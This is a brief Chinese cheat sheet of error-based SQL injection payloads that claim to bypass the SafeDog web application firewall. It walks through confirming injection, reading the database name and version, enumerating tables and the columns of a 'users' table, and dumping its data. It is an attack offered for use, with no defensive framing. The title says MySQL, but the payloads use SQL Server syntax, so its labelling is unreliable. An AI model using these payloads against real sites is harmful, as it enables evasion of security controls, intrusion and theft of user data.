mysql报错注入绕过安全狗

判断注入
and day(0)!=1

数据库大概信息
and day(0)!=db_name()
and day(0)!=@@version

爆表
and day(0)!=(select top 1 (name)from sysobjects where xtype=0x75)

爆列
and day(0)!=(select top 1 (name)from syscolumns where id=(select (id)from sysobjects where name=0x75007300650072007300))

爆数据
and day(0)!=(select top 1 (name)from users)